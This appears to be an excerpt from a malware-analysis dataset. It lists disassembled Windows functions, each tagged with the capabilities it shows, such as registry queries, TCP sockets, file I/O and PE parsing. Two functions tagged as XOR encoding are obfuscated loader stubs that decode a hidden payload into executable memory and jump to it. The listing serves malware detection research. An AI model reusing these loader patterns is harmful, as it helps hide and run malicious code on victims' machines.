joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405b40
Capabilities:
Create thread

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov ebx, 0x40e670
xor edi, edi
push ebx
mov dword [ebp - 4], edi
call dword [sym.imp.api_ms_win_core_synch_l1_1_0.dll_EnterCriticalSection]
mov esi, dword [ebp + 8]
cmp esi, dword [0x40e6fc]
jne 0x405b95
cmp byte [0x40e6f8], 0
jne 0x405b95
lea eax, [ebp - 4]
mov byte [0x40e6f8], 1
push eax
push edi
push esi
push fcn.00405ae0
push edi
push edi
call dword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_CreateThread]
mov dword [esi + 0x4c], eax
test eax, eax
jne 0x405b95
push esi
call fcn.00405ae0
push ebx
call dword [sym.imp.api_ms_win_core_synch_l1_1_0.dll_LeaveCriticalSection]
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 4

Function at 0x4076bc
Capabilities:
Query or enumerate registry key

Disassembly:
push 0x21c
mov eax, 0x40c206
call fcn.0040b657
mov dword [ebp - 0x228], ecx
xor esi, esi
mov dword [ebp - 0x220], esi
mov dword [ebp - 0x21c], esi
mov dword [ebp - 0x218], esi
lea eax, [ebp - 0x214]
mov dword [ebp - 4], esi
push eax
push 0x20019
push esi
push 0x401818
push 0x80000002
mov dword [ebp - 0x214], esi
call dword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegOpenKeyExW]
test eax, eax
jne 0x407794
mov edi, dword [ebp - 0x214]
mov ebx, esi
mov dword [ebp - 0x220], edi
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x224]
mov dword [ebp - 0x224], 0x100
push eax
lea eax, [ebp - 0x210]
push eax
push ebx
push edi
call dword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegEnumKeyExW]
inc ebx
cmp eax, 0x103
je 0x407787
test eax, eax
jne 0x407787
lea edx, [ebp - 0x210]
lea ecx, [ebp - 0x220]
call fcn.00407568
test al, al
je 0x40777f
mov ecx, dword [ebp - 0x228]
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x220]
push eax
call fcn.004072ec
mov edi, dword [ebp - 0x220]
jmp 0x407721
test edi, edi
je 0x407796
push edi
call dword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegCloseKey]
jmp 0x407796
mov esi, eax
mov eax, esi
call fcn.0040b606
ret

Function at 0x407cfa
Capabilities:
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 4]
push edi
mov edi, dword [ebp + 0x10]
xor ebx, ebx
push edi
push esi
push eax
push ebx
push dword [ebp + 0xc]
mov dword [ebp - 4], ebx
push dword [ecx]
call dword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegQueryValueExW]
mov ecx, dword [ebp - 4]
mov edx, eax
test ecx, ecx
je 0x407d69
cmp ecx, 2
jbe 0x407d52
cmp ecx, 7
jne 0x407d69
mov eax, dword [edi]
test al, 1
jne 0x407d69
shr eax, 1
cmp eax, 2
jb 0x407d69
test esi, esi
je 0x407d65
cmp word [esi + eax*2 - 2], bx
jne 0x407d69
cmp word [esi + eax*2 - 4], bx
jmp 0x407d63
mov eax, dword [edi]
test al, 1
jne 0x407d69
test esi, esi
je 0x407d65
shr eax, 1
cmp word [esi + eax*2 - 2], bx
jne 0x407d69
mov eax, edx
jmp 0x407d6c
push 0xd
pop eax
pop edi
pop esi
pop ebx
leave
ret 0xc
Function at 0x408cb3
Capabilities:
Create tcp socket
Get local ipv4 addresses
Get socket information

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x40e200]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
push 2
pop ecx
push 6
mov dword [ebp - 0x1c], eax
xor ebx, ebx
push 1
xor eax, eax
mov word [ebp - 0x14], cx
push ecx
or edi, 0xffffffff
mov dword [ebp - 0x10], ebx
mov word [ebp - 0x12], ax
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 0x18], eax
cmp eax, 0xffffffff
je 0x408d18
push 0x10
lea ecx, [ebp - 0x14]
push ecx
push eax
call dword [sym.imp.WS2_32.dll_bind]
mov esi, eax
cmp esi, 0xffffffff
je 0x408d0f
mov edi, dword [ebp - 0x18]
jmp 0x408d20
push dword [ebp - 0x18]
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov esi, eax
test esi, esi
jne 0x408d64
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], 0x10
push eax
lea eax, [ebp - 0x14]
push eax
push edi
call dword [sym.imp.WS2_32.dll_getsockname]
mov esi, eax
cmp esi, 0xffffffff
je 0x408d45
movzx ebx, word [ebp - 0x12]
test esi, esi
jne 0x408d5b
push 8
call fcn.0040afe6
mov dword [ebp - 0x18], eax
pop ecx
test eax, eax
jne 0x408d82
push 0xe
pop esi
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
test esi, esi
jle 0x408d6f
movzx esi, si
or esi, 0x80070000
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040b490
leave
ret 4
mov dword [eax], edi
mov word [eax + 4], bx
lea eax, [ebp - 0x18]
push eax
call fcn.00408e1b
mov eax, dword [ebp - 0x1c]
mov word [eax], bx
jmp 0x408d6f

Function at 0x408f09
Capabilities:
Initialize winsock library

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x198
mov eax, dword [0x40e200]
xor eax, esp
mov dword [esp + 0x194], eax
push esi
push edi
mov esi, ecx
xor eax, eax
push 6
pop ecx
mov byte [0x40e700], al
and dword [esi + 8], 0
lea edi, [esi + 0xc]
rep stosd dword es:[edi], eax
mov byte [esi + 0x24], al
lea eax, [esp + 8]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov eax, 0x40e664
push 0x40e64c
mov dword [0x40e668], eax
mov dword [0x40e664], eax
call dword [sym.imp.api_ms_win_core_synch_l1_1_0.dll_InitializeCriticalSection]
mov ecx, dword [esp + 0x19c]
mov eax, esi
pop edi
pop esi
xor ecx, esp
call fcn.0040b490
mov esp, ebp
pop ebp
ret
Function at 0x409093
Capabilities:
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x10
push esi
push edi
lea eax, [ebp - 4]
xor esi, esi
push eax
push 0x20019
push esi
push 0x401c28
push 0x80000002
mov dword [ebp - 0xc], esi
mov edi, esi
mov dword [ebp - 4], esi
call dword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegOpenKeyExW]
test eax, eax
jne 0x409101
mov edi, dword [ebp - 4]
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
mov dword [ebp - 8], esi
push eax
lea eax, [ebp - 8]
mov dword [ebp - 0x10], 4
push eax
push esi
push 0x401cac
push edi
call dword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegQueryValueExW]
cmp dword [ebp - 8], 4
jne 0x409101
test eax, eax
jne 0x409101
mov ax, word [ebp - 0xc]
mov word [0x40e708], ax
jmp 0x409106
mov esi, 0x80004005
test edi, edi
je 0x409111
push edi
call dword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegCloseKey]
pop edi
mov eax, esi
pop esi
leave
ret 4

Function at 0x409757
Capabilities:
Generate random numbers via rtlgenrandom

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
xor esi, esi
mov dword [ebp - 8], 0xff
push edi
mov edi, ecx
mov dword [ebp - 4], esi
mov eax, 0x3ff
mov ebx, esi
shr eax, 1
lea ebx, [ebx*2 + 2]
jne 0x409776
shr ebx, 1
push 4
lea eax, [ebp - 4]
push eax
call dword [sym.imp.CRYPTBASE.dll_SystemFunction036]
cmp al, 1
jne 0x4097ac
mov eax, ebx
and eax, dword [ebp - 4]
mov dword [ebp - 4], eax
cmp eax, 0x3ff
jbe 0x4097aa
sub dword [ebp - 8], 1
jne 0x409783
jmp 0x4097ac
mov esi, eax
cmp dword [ebp + 8], 0
je 0x4097cb
mov ecx, dword [edi + 0x18]
test ecx, ecx
je 0x4097e2
mov eax, dword [ecx]
push ecx
mov esi, dword [eax + 0xc]
mov ecx, esi
call dword [0x40f208]
call esi
jmp 0x4097e2
push 1
push edi
push ecx
push ecx
mov ecx, dword [edi]
add esi, 0x400
push esi
call fcn.0040ae69
test eax, eax
je 0x4097eb
mov ecx, edi
call fcn.0040981a
jmp 0x409813
lock inc dword [edi + 0x48]
push 2
push edi
push ecx
push ecx
mov ecx, dword [edi + 8]
push esi
call fcn.0040ae69
test eax, eax
je 0x409813
mov ecx, edi
call fcn.0040981a
test eax, eax
je 0x409813
mov ecx, edi
call fcn.0040992c
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x40994d
Capabilities:
Generate random numbers via rtlgenrandom

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
cmp dword [ebp + 8], 0
push ebx
push esi
push edi
mov esi, ecx
jne 0x409aaa
mov ecx, dword [ebp + 0xc]
test ecx, ecx
je 0x409aaa
mov edi, dword [ebp + 0x10]
lea ebx, [esi + 8]
xor eax, eax
mov dword [ebp - 0x10], ebx
inc eax
mov edx, dword [edi + 0x14]
mov dword [ebp - 4], edx
cmp edx, eax
jne 0x409989
mov edx, esi
jmp 0x40998e
mov edx, ebx
mov dword [ebp - 0x10], esi
xor ebx, ebx
mov dword [ebp - 0xc], edx
cmp dword [ebp - 4], eax
sete bl
inc ebx
mov dword [ebp - 0x14], ebx
xor ebx, ebx
cmp dword [ebp - 4], eax
jne 0x4099aa
cmp dword [esi + 0x1c], 2
je 0x4099b5
cmp dword [ebp - 4], 2
jne 0x4099ee
cmp dword [esi + 0x1c], eax
jne 0x4099ee
cmp dword [edi + 0x44], ecx
jne 0x4099c2
push 2
mov dword [ebp - 8], ebx
pop eax
jmp 0x4099d1
xor ecx, ecx
cmp dword [edx + 4], 2
setne cl
mov dword [ebp - 8], ecx
mov ecx, dword [ebp + 0xc]
mov dword [edx + 4], eax
cmp dword [ebp - 8], ebx
je 0x4099ee
push dword [edi + 0x44]
lea eax, [ebp + 0xc]
mov ecx, esi
push eax
lea eax, [edi + 0x50]
push eax
call fcn.00409c38
mov ecx, dword [ebp + 0xc]
test ecx, ecx
je 0x409a37
mov eax, dword [ebp - 0x10]
cmp dword [eax], 0xffffffff
je 0x409a37
lock inc dword [esi + 0x48]
push dword [ebp - 0x14]
mov edx, edi
push esi
push ecx
push ecx
push ecx
mov ecx, dword [eax]
call fcn.0040af2a
test eax, eax
je 0x409a3e
mov ecx, esi
call fcn.0040981a
mov ecx, esi
call fcn.0040981a
test eax, eax
je 0x409a2b
mov ecx, esi
call fcn.0040992c
mov ecx, edi
call fcn.0040952b
jmp 0x409ac4
mov ecx, edi
call fcn.0040952b
mov eax, dword [ebp - 0xc]
cmp dword [eax], 0xffffffff
je 0x409ab2
mov dword [ebp - 0x10], 0xff
mov eax, 0x3ff
mov dword [ebp - 8], ebx
mov edi, ebx
shr eax, 1
lea edi, [edi*2 + 2]
jne 0x409a57
shr edi, 1
push 4
lea eax, [ebp - 8]
push eax
call dword [sym.imp.CRYPTBASE.dll_SystemFunction036]
cmp al, 1
jne 0x409a8d
mov eax, edi
and eax, dword [ebp - 8]
mov dword [ebp - 8], eax
cmp eax, 0x3ff
jbe 0x409a8b
sub dword [ebp - 0x10], 1
jne 0x409a64
jmp 0x409a8d
mov ebx, eax
push dword [ebp - 4]
lea eax, [ebx + 0x400]
push esi
push ecx
push ecx
push eax
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax]
call fcn.0040ae69
test eax, eax
je 0x409ac4
jmp 0x409ab2
mov ecx, dword [ebp + 0x10]
call fcn.0040952b
mov ecx, esi
call fcn.0040981a
test eax, eax
je 0x409ac4
mov ecx, esi
call fcn.0040992c
pop edi
pop esi
pop ebx
leave
ret 0xc
Function at 0x40a825
Capabilities:
Set socket configuration

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x10
and dword [ebp - 4], 0
xor eax, eax
push ebx
push esi
mov word [ebp - 8], ax
mov eax, dword [ebp + 8]
push edi
mov edi, ecx
cmp eax, 0xc0000120
je 0x40a97e
cmp dword [edi + 0x20], 0
jne 0x40a97e
mov ebx, dword [ebp + 0x10]
mov esi, dword [ebx + 8]
test eax, eax
je 0x40a8b8
cmp eax, 0x3e3
je 0x40a959
cmp eax, 0x2775
je 0x40a89e
cmp eax, 0x2746
je 0x40a89e
cmp eax, 0x274c
je 0x40a89e
cmp eax, 0x2742
je 0x40a89e
cmp eax, 0x2736
je 0x40a89e
cmp eax, 0x274a
je 0x40a89e
cmp eax, 0x2745
jne 0x40a959
cmp esi, 0xffffffff
je 0x40a8aa
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
mov ecx, edi
call fcn.0040a4d8
mov ecx, ebx
jmp 0x40a997
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebx + 0x50]
push eax
call fcn.0040a63b
test eax, eax
js 0x40a970
cmp dword [ebp - 4], 0
je 0x40a970
push 4
lea eax, [edi + 0xc]
push eax
push 0x700b
push 0xffff
push esi
call dword [sym.imp.WS2_32.dll_setsockopt]
push 0x6c
call fcn.0040afe6
pop ecx
test eax, eax
je 0x40a90d
mov ecx, eax
call fcn.0040953f
mov ebx, eax
jmp 0x40a90f
xor ebx, ebx
test ebx, ebx
je 0x40a947
push dword [ebp - 0xc]
mov ecx, ebx
push dword [ebp - 8]
push dword [ebp - 4]
push esi
call fcn.00409588
test eax, eax
js 0x40a953
sub esp, 0xc
mov ecx, 0x40e694
push 0
push ebx
call fcn.0040a1b2
mov ebx, dword [ebp + 0x10]
test eax, eax
je 0x40a956
inc dword [0x40e6b0]
jmp 0x40a956
cmp esi, 0xffffffff
je 0x40a953
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
mov ebx, dword [ebp + 0x10]
or esi, 0xffffffff
push ecx
push edi
push ecx
mov ecx, dword [edi + 0xc]
mov edx, esi
push ebx
call fcn.0040a9e9
test eax, eax
je 0x40a99c
jmp 0x40a89e
cmp esi, 0xffffffff
je 0x40a956
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
jmp 0x40a956
cmp dword [edi + 0x18], 0
je 0x40a98d
push dword [edi + 0x18]
call dword [sym.imp.api_ms_win_core_synch_l1_1_0.dll_SetEvent]
mov ecx, edi
call fcn.0040a9a3
mov ecx, dword [ebp + 0x10]
call fcn.0040952b
pop edi
pop esi
pop ebx
leave
ret 0xc
Function at 0x40abee
Capabilities:
Create tcp socket
Set socket configuration

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x90
mov eax, dword [0x40e200]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
xor esi, esi
push esi
mov ebx, ecx
call dword [sym.imp.WS2_32.dll_ntohs]
push 0x78
lea eax, [ebp - 0x84]
push esi
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
push 1
push esi
push esi
push 6
push 1
push 2
pop eax
push eax
call dword [sym.imp.WS2_32.dll_WSASocketW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x40ac4c
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edi, eax
jmp 0x40acea
push 0
push 0x40ad10
push esi
call dword [sym.imp.api_ms_win_core_kernel32_legacy_l1_1_0.dll_BindIoCompletionCallback]
and dword [ebp - 0x90], 0
lea eax, [ebp - 0x90]
push 4
push eax
push 0x1001
push 0xffff
push esi
call dword [sym.imp.WS2_32.dll_setsockopt]
and dword [ebp - 0x90], 0
lea eax, [ebp - 0x90]
push 4
push eax
push 0x1002
push 0xffff
push esi
call dword [sym.imp.WS2_32.dll_setsockopt]
cmp ebx, 0xffffffff
je 0x40acee
push 2
pop eax
mov word [ebp - 0x8c], ax
xor eax, eax
and dword [ebp - 0x84], eax
and dword [ebp - 0x80], eax
mov word [ebp - 0x8a], ax
lea eax, [ebp - 0x8c]
push 0x80
push eax
push esi
mov dword [ebp - 0x88], ebx
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
jne 0x40acee
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push esi
mov edi, eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov eax, edi
jmp 0x40acf2
mov dword [edi], esi
xor eax, eax
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040b490
leave
ret 4

Function at 0x40ad3d
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x90
mov eax, dword [0x40e200]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
lea eax, [ebp - 0x8c]
push 0x80
push 0
push eax
mov ebx, edx
mov esi, ecx
call sub.msvcrt.dll_memset
add esp, 0xc
mov dword [ebp - 0x90], 0x80
lea eax, [ebp - 0x90]
push eax
lea eax, [ebp - 0x8c]
push eax
push esi
call dword [sym.imp.WS2_32.dll_getsockname]
cmp eax, 0xffffffff
jne 0x40ad9e
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
jmp 0x40adca
test ebx, ebx
je 0x40adba
cmp word [ebp - 0x8c], 0x17
mov eax, dword [ebp - 0x84]
je 0x40adb8
mov eax, dword [ebp - 0x88]
mov dword [ebx], eax
test edi, edi
je 0x40adc8
mov ax, word [ebp - 0x8a]
mov word [edi], ax
xor eax, eax
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040b490
leave
ret 4
Function at 0x40ae69
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
cmp byte [0x40e700], 0
mov dword [ebp - 4], ecx
je 0x40ae85
mov eax, 0x3eb
jmp 0x40af26
push ebx
mov ebx, dword [ebp + 8]
push esi
cmp ebx, 0x240
ja 0x40ae9b
call fcn.0040950f
mov esi, eax
jmp 0x40aebd
lea eax, [ebx + 0x50]
push eax
push 0
call dword [sym.imp.api_ms_win_core_heap_l1_1_0.dll_GetProcessHeap]
push eax
call dword [sym.imp.api_ms_win_core_heap_l1_1_0.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x40aec1
mov dword [esi], 1
mov dword [esi + 0x44], ebx
test esi, esi
jne 0x40aec6
push 8
pop eax
jmp 0x40af24
push edi
lea ecx, [esi + 0x18]
mov edx, dword [ebp - 4]
xor eax, eax
mov edi, ecx
push ecx
push 0x40e66c
push ebx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov eax, dword [ebp + 0x14]
and dword [esi + 0x2c], 0
mov dword [esi + 0x10], eax
mov eax, dword [ebp + 0x18]
mov dword [esi + 0x14], eax
lea eax, [esi + 0x50]
push eax
push edx
mov dword [esi + 8], edx
mov dword [esi + 0xc], 0x40a0f0
call dword [sym.imp.api_ms_win_core_file_l1_1_0.dll_ReadFile]
test eax, eax
jne 0x40af1f
call dword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_GetLastError]
mov edi, eax
cmp edi, 0x3e5
je 0x40af1f
mov ecx, esi
call fcn.0040952b
jmp 0x40af21
xor edi, edi
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret 0x14

Function at 0x40af2a
Capabilities:
Write file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
cmp byte [0x40e700], 0
push esi
mov esi, ecx
je 0x40af42
mov eax, 0x3eb
jmp 0x40af8d
push edi
lea ecx, [edx + 0x18]
xor eax, eax
mov edi, ecx
push ecx
push 0x40e66c
push dword [ebp + 8]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov eax, dword [ebp + 0x14]
mov dword [edx + 0x10], eax
mov eax, dword [ebp + 0x18]
mov dword [edx + 0x14], eax
lea eax, [edx + 0x50]
push eax
push esi
mov dword [edx + 8], esi
mov dword [edx + 0xc], 0x40a130
call dword [sym.imp.api_ms_win_core_file_l1_1_0.dll_WriteFile]
pop edi
test eax, eax
jne 0x40af8b
call dword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_GetLastError]
cmp eax, 0x3e5
jne 0x40af8d
xor eax, eax
pop esi
pop ebp
ret 0x14

Function at 0x40b764
Capabilities:
Parse pe header

Disassembly:
push 0xc
push 0x40d5b8
call fcn.0040ba18
xor ecx, ecx
mov eax, dword [ebp + 8]
test eax, eax
je 0x40b7c4
cmp eax, 0xffffffff
je 0x40b7c4
mov dword [ebp - 4], ecx
mov edx, 0x5a4d
cmp word [eax], dx
jne 0x40b7bd
mov edx, dword [eax + 0x3c]
test edx, edx
js 0x40b7bd
cmp edx, 0x10000000
jae 0x40b7bd
add eax, edx
mov dword [ebp - 0x1c], eax
mov ecx, dword [eax]
sub ecx, 0x4550
neg ecx
sbb ecx, ecx
not ecx
and ecx, eax
jmp 0x40b7ba
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 4], 0xfffffffe
mov eax, ecx
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x40b820
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x40b85e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x40b856
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x40b860
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x40b846
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x40b930
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x40b961
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x40b961
mov ecx, 0x10b
cmp word [eax + 0x18], cx
jne 0x40b961
mov eax, 1
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x10009220
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x1000922f
pop dword [ebp - 0x14]
mov eax, 0x84932ae6
sub eax, 0x749298b7
sub dword [ebp - 0x14], eax
mov dword [ebp - 0x24], 0x69665d29
sub dword [ebp - 0x24], 0x1b1417de
mov dword [ebp - 0x20], 0x8cc1855a
add dword [ebp - 0x20], 0xa571c6eb
mov dword [ebp - 0x1c], 0xb044eee4
add dword [ebp - 0x1c], 0x9c07554a
mov dword [ebp - 0x18], 0x2675733f
sub dword [ebp - 0x18], 0x2675733f
lea eax, [ebp - 0x24]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x14]
call dword [eax]
mov dword [ebp - 0x24], 0x4b313baf
sub dword [ebp - 0x24], 0xd6bed259
mov dword [ebp - 0x20], 0x8c8398a
add dword [ebp - 0x20], 0x38a427eb
mov dword [ebp - 0x1c], 0xe55f6dd6
sub dword [ebp - 0x1c], 0x81f0016a
mov dword [ebp - 0x18], 0x1ea9576b
add dword [ebp - 0x18], 0xe156a895
lea ebx, [ebp - 0x24]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x14]
call dword [eax]
push 0x40
push 0x1000
push 0x34d30
push 0
call eax
mov ecx, 0x3b40
xor ebx, ebx
add ebx, eax
mov edx, 0x67b47794
sub edx, 0x57b34594
add edx, dword [ebp - 0x14]
mov edi, 0xe0245d4e
mov esi, dword [edx]
sub dword [ebp - 8], 0x277387df
xor esi, edi
sub dword [ebp - 0x10], 0xc6784020
mov dword [ebx], esi
mov dword [ebp - 4], 0xf5f0fa6a
add ebx, 4
add edx, 4
loop 0x1000933d
add eax, 0xdfd3
mov ebx, eax
add eax, 0xd6df0636
sub eax, 0xd6df0631
mov ecx, 0x10000000
add ecx, dword [ebp - 0x14]
call ebx
leave
ret
Function at 0x1000cac3
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword fs:[0x2c]
push ebx
push esi
mov esi, dword [0x100139e8]
mov ebx, ecx
push edi
mov edi, edx
mov dword [ebp - 8], edi
mov esi, dword [eax + esi*4]
mov eax, dword [0x10013e80]
cmp eax, dword [esi + 4]
jg 0x1000cb78
lea eax, [ebx + edi]
cmp eax, ebx
ja 0x1000cb01
mov eax, 0x10dd
jmp 0x1000cb71
mov eax, dword [0x10013e7c]
cmp edi, eax
jbe 0x1000cb0f
push 0x32
pop eax
jmp 0x1000cb71
mov edi, dword [ebp + 8]
lea ecx, [ebp - 4]
and dword [ebp - 4], 0
lea esi, [eax - 1]
push ecx
not esi
push dword [edi]
and esi, ebx
push eax
push esi
call dword [sym.imp.kernel32.dll_VirtualProtect]
test eax, eax
jne 0x1000cb37
call dword [sym.imp.kernel32.dll_GetLastError]
jmp 0x1000cb71
mov ecx, dword [0x10013e7c]
mov eax, dword [ebp - 8]
dec ecx
mov edx, dword [ebp - 4]
dec eax
add eax, ebx
mov dword [edi], edx
not ecx
and ecx, eax
cmp ecx, esi
je 0x1000cb6c
lea eax, [ebp - 4]
push eax
push dword [edi + 4]
push dword [0x10013e7c]
push ecx
call dword [sym.imp.kernel32.dll_VirtualProtect]
test eax, eax
je 0x1000cb2f
mov edx, dword [ebp - 4]
mov dword [edi + 4], edx
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 4
mov esi, 0x10013e80
push esi
call fcn.1000cd54
cmp dword [0x10013e80], 0xffffffff
pop ecx
jne 0x1000caf3
push 9
pop ecx
xor eax, eax
lea edi, [ebp - 0x2c]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.kernel32.dll_GetSystemInfo]
mov eax, dword [ebp - 0x28]
push esi
mov dword [0x10013e7c], eax
call fcn.1000cd54
mov edi, dword [ebp - 8]
pop ecx
jmp 0x1000caf3

Function at 0x1000cd54
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x1000cd63
pop dword [ebp - 0x44]
mov eax, 0xff2addb9
sub eax, 0xef2a1056
sub dword [ebp - 0x44], eax
push 0x40
push 0x1000
push 0x3605f
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x44]
call dword [eax]
mov ecx, 0x35ba636f
add ecx, 0xca45d89f
xor ebx, ebx
add ebx, eax
mov esi, 0x43066a0
sub esi, 0xf42ee0a0
add esi, dword [ebp - 0x44]
mov edi, 0x8bc16189
sub edi, 0x9488bdb1
xor dword [ebp - 0x28], 0x9678d430
mov edx, dword [esi]
add dword [ebp - 0x18], 0x30ea2f0e
xor edx, edi
mov dword [ebp - 0x14], 0xe2c95f98
mov dword [ebx], edx
mov dword [ebp - 8], 0x665a93cc
add ebx, 0xbb3b63de
add ebx, 0x44c49c26
add esi, 0x36eb6b23
sub esi, 0x36eb6b1f
loop 0x1000cdbf
add eax, 0xfcd45664
sub eax, 0xfcd37359
mov ebx, eax
add eax, 0x3c8ae2ea
add eax, 0xc3751d1b
mov ecx, 0x10000000
add ecx, dword [ebp - 0x44]
call ebx
leave
ret
Function at 0x10001890
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x10
mov esi, dword [ebp + 8]
mov dword [esp], esi
call dword [sym.imp.ucrtbase.dll_strlen]
mov ebx, eax
xor eax, eax
test ebx, ebx
je 0x100018e8
cmp byte [esi + ebx - 1], 0xa
je 0x100018bc
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x24]
xchg dword [0x10007084], eax
mov dword [esp], 2
call dword [sym.imp.ucrtbase.dll___acrt_iob_func]
mov dword [esp + 8], ebx
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], esi
call dword [sym.imp.ucrtbase.dll_fwrite]
add esp, 0x10
pop ebx
pop esi
pop ebp
ret